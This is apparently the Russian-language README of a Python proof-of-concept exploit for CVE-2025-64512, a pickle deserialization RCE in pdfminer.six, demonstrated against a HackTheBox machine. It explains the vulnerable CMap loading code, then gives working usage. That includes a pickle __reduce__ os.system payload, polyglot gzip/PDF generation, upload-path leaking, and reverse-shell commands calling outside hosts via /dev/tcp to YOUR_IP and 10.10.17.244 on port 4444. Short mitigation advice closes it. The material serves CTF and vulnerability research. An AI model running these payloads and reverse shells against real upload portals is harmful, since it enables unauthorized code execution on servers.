Python PoC для CVE-2025-64512, RCE через десериализацию pickle в pdfminer.six. Генерирует gzip-сжатые pickle-пейлоады и полиглотные PDF-файлы, затем доставляет их на порталы загрузки для авторизованного тестирования.
| CVE | CVE-2025-64512 |
| Затронуто | pdfminer.six < 20251107 (исправлено в 20251107 — CMaps стали JSON) |
| Пострадавшие downstream | markitdown < 0.1.4, pdfplumber < 0.11.8 |
| Тип | CWE-502 десериализация недоверенных данных → неаутентифицированный RCE |
| Эталонный PoC | luigigubello/CVE-2025-64512-Polyglot-PoC (однофайловый polyglot-вариант) |
Протестированная цель: https://app.hackthebox.com/machines/Bedside
pdfminer.six — популярная Python-библиотека для извлечения текста из PDF. Шрифтам PDF нужны CMaps — таблицы, переводящие коды символов в Unicode — и pdfminer поставляет их в виде gzip-сжатых pickle-файлов (<name>.pickle.gz) внутри собственного пакета. Посмотрите, как загружается CMap (pdfminer/cmapdb.py, все версии до 20251107):
@classmethod
def _load_data(cls, name: str) -> Any:
name = name.replace("\0", "") # ЕДИНСТВЕННАЯ санитизация
filename = "%s.pickle.gz" % name # ← атакующий контролирует `name`
cmap_paths = (
os.environ.get("CMAP_PATH", "/usr/share/pdfminer/"),
os.path.join(os.path.dirname(__file__), "cmap"),
)
for directory in cmap_paths:
path = os.path.join(directory, filename) # ← абсолютное имя игнорирует директорию!
if os.path.exists(path):
with gzip.open(path) as gzfile:
return type(str(name), (), pickle.loads(gzfile.read())) # ← 💥
Складываются три изъяна:
name берётся из самого PDF. Запись /Encoding шрифта Type0 (CID) — это PDF-имя, и атакующий полностью его контролирует. PDF-имена не могут содержать необработанный /, поэтому он записывается с помощью стандартных hex-escape из RFC: имя /#2f#76#61#72#2f… декодируется в /var/….os.path.join. Когда второй аргумент абсолютный, первый полностью игнорируется. Так что имя /var/www/site/uploads/shell заставляет pdfminer обратиться к /var/www/site/uploads/shell.pickle.gz — любому пути на диске — вместо собственной директории CMaps.pickle.loads() над содержимым файла. Pickle может нести инструкции «пересобери меня, вызвав эту функцию» (__reduce__). Десериализация байтов атакующего = выполнение кода атакующего внутри того процесса, который вызвал pdfminer.Предпосылки для эксплуатации — баг тривиально эксплуатируется в любом приложении, которое даёт вам обе половины уравнения:
{"__reduce__": eval("__import__('os').system('<ваша команда>')")}./Encoding называет абсолютный путь к вашему pickle.--mode two (по умолчанию) — загружает <name>.pickle.gz, затем <name>.pdf. Используйте это, когда цель разбирает только файлы с расширением PDF (например, watcher, собирающий uploads/*.pdf).--mode polyglot — загружает один файл <name>.pickle.gz, который является одновременно валидным gzip-pickle и валидным PDF: весь PDF прячется в поле FCOMMENT заголовка gzip (RFC 1952 допускает комментарии; сигнатура %PDF- находится на байте 10, а смещения xref предварительно сдвинуты, чтобы таблица оставалась валидной). Используйте это, когда цель разбирает любой загруженный файл как PDF независимо от расширения (конвертеры в стиле markitdown).--verify), пережидает цикл обработки цели (--wait) и может добавить в начало callback-оракул (--callback), который «звонит домой» до запуска вашей команды — так вы докажете выполнение, даже если основной канал откажет.Устанавливать нечего — Python 3.10+ (использует синтаксис str | None):
chmod +x cve_2025_64512.py
Сгенерируйте образцы полезной нагрузки и (если уязвимый pdfminer импортируем) выполните их в своём Python, чтобы доказать работоспособность цепочки до касания цели:
# укажите selftest на уязвимый checkout/wheel pdfminer (любой < 20251107)
export PDFMINER_PATH=/path/to/pdfminer_package_dir
python3 cve_2025_64512.py --selftest
Ожидаемый вывод заканчивается на SELFTEST PASS как для двухфайлового триггера, так и для polyglot. Можно также проверить вручную:
python3 cve_2025_64512.py --no-upload --path /tmp --name demo --command 'id > /tmp/pwned'
cp demo.pickle.gz demo-trigger.pdf /tmp/ # разместить как /tmp/demo.pickle.gz
pdf2txt.py /tmp/demo-trigger.pdf # только уязвимый pdfminer
cat /tmp/pwned # → ваш uid
# 1. запустите слушатель для канала обратного вызова вашей команды
nc -lvnp 4444
# 2. запустите эксплойт — пусть он сам обнаружит директорию загрузки
python3 cve_2025_64512.py \
--url http://research.target.htb/ \
--leak-path \
--verify /uploads \
--wait 35 \
--command "bash -c 'exec bash -i &>/dev/tcp/YOUR_IP/4444 <&1'"
Полный справочник аргументов:
| Аргумент | Назначение |
|---|---|
--command | Shell-команда для выполнения на цели (обязательно). Запускается под sh -c, так что пайпы/редиректы/подоболочки работают. |
--url | Эндпоинт загрузки, принимающий multipart POST. |
--upload-url | Переопределить цель POST, если загрузки идут на другой URL, чем --url. |
--field | Имя multipart-поля (прочитайте HTML <form> портала; частые: uploadFile, file). |
--path | Абсолютная серверная директория, куда попадают загрузки (например, /var/www/site/uploads). PDF называет pickle здесь, поэтому путь должен быть точным. |
--leak-path | Не знаете путь? Загрузите некорректное содержимое и выскребите его из сообщения об ошибке портала (многие порталы печатают место назначения). |
--name | Базовое имя для генерируемых файлов (по умолчанию shell). Рандомизируйте при повторных запусках, чтобы избежать устаревших файлов. |
--mode | two (по умолчанию) или polyglot — см. §2. |
--callback URL | Добавить в начало HTTP-запрос к URL перед вашей командой; запустите python3 -m http.server 8000 и ждите попадания. Оракул выполнения. |
--wait N | Пауза N секунд после загрузки — подстройтесь под ритм обработки цели (watcher/cron часто опрашивают каждые 30 с; выждите полный цикл, прежде чем считать, что не удалось). |
--verify /uploads | GET каждого загруженного файла после этого, чтобы подтвердить, что он лёг туда, где его ожидает PDF. |
--timeout, --out-dir, --no-upload, --selftest | HTTP-таймаут, локальная выходная директория, режим только генерации, локальная репетиция. |
echo "10.129.x.x bedside.htb research.bedside.htb" | sudo tee -a /etc/hosts
nc -lvnp 4444 & # слушатель
python3 cve_2025_64512.py \
--url http://research.bedside.htb/ \
--path /var/www/research.bedside.htb/uploads \
--verify /uploads --wait 35 \
--command "bash -c 'exec bash -i &>/dev/tcp/10.10.17.244/4444 <&1'"
# → шелл от имени пользователя сервиса pdfminer (на Bedside: datawrangler, внутри контейнера)
| Симптом | Причина / решение |
|---|---|
MIME type mismatch при загрузке | Портал нюхает содержимое, а не только расширение. Обе полезные нагрузки — настоящий gzip / настоящий PDF — проверьте, что вы их не обрезали; триггер должен начинаться с %PDF-, pickle должен распаковываться (gzip -t). |
| Загрузка OK, ничего не выполняется | 1) Выждите полный цикл watcher/cron (--wait 35). 2) Убедитесь, что pickle доступен по <path>/<name>.pickle.gz (--verify). 3) Проверьте, что процесс, запускающий pdfminer, может прочитать ваш файл. 4) Используйте --callback для однозначного сигнала выполнения. |
| Путь загрузки неизвестен | --leak-path, либо вызовите любую ошибку валидации и прочитайте сообщение. |
| Polyglot никогда не срабатывает | Разбираемый файл должен быть тем же файлом с окончанием .pickle.gz. Если цель разбирает только загрузки *.pdf, используйте --mode two. |
TypeError: type.__new__() argument 3 must be dict в логах цели | Это успех — pdfminer выполнил ваш pickle и затем споткнулся о собственное возвращаемое значение. Безвредно. |
| Цель пропатчена | pdfminer ≥ 20251107 загружает CMaps из JSON. Здесь эксплуатировать нечего. |
pickle.loads, torch.load, yaml.load над недоверенными байтами — всё это один и тот же класс багов. Предпочитайте форматы только с данными (JSON, Safetensors, ONNX).X-Powered-By и возвращайте обобщённые ошибки — и то, и другое выдало список ингредиентов на Bedside.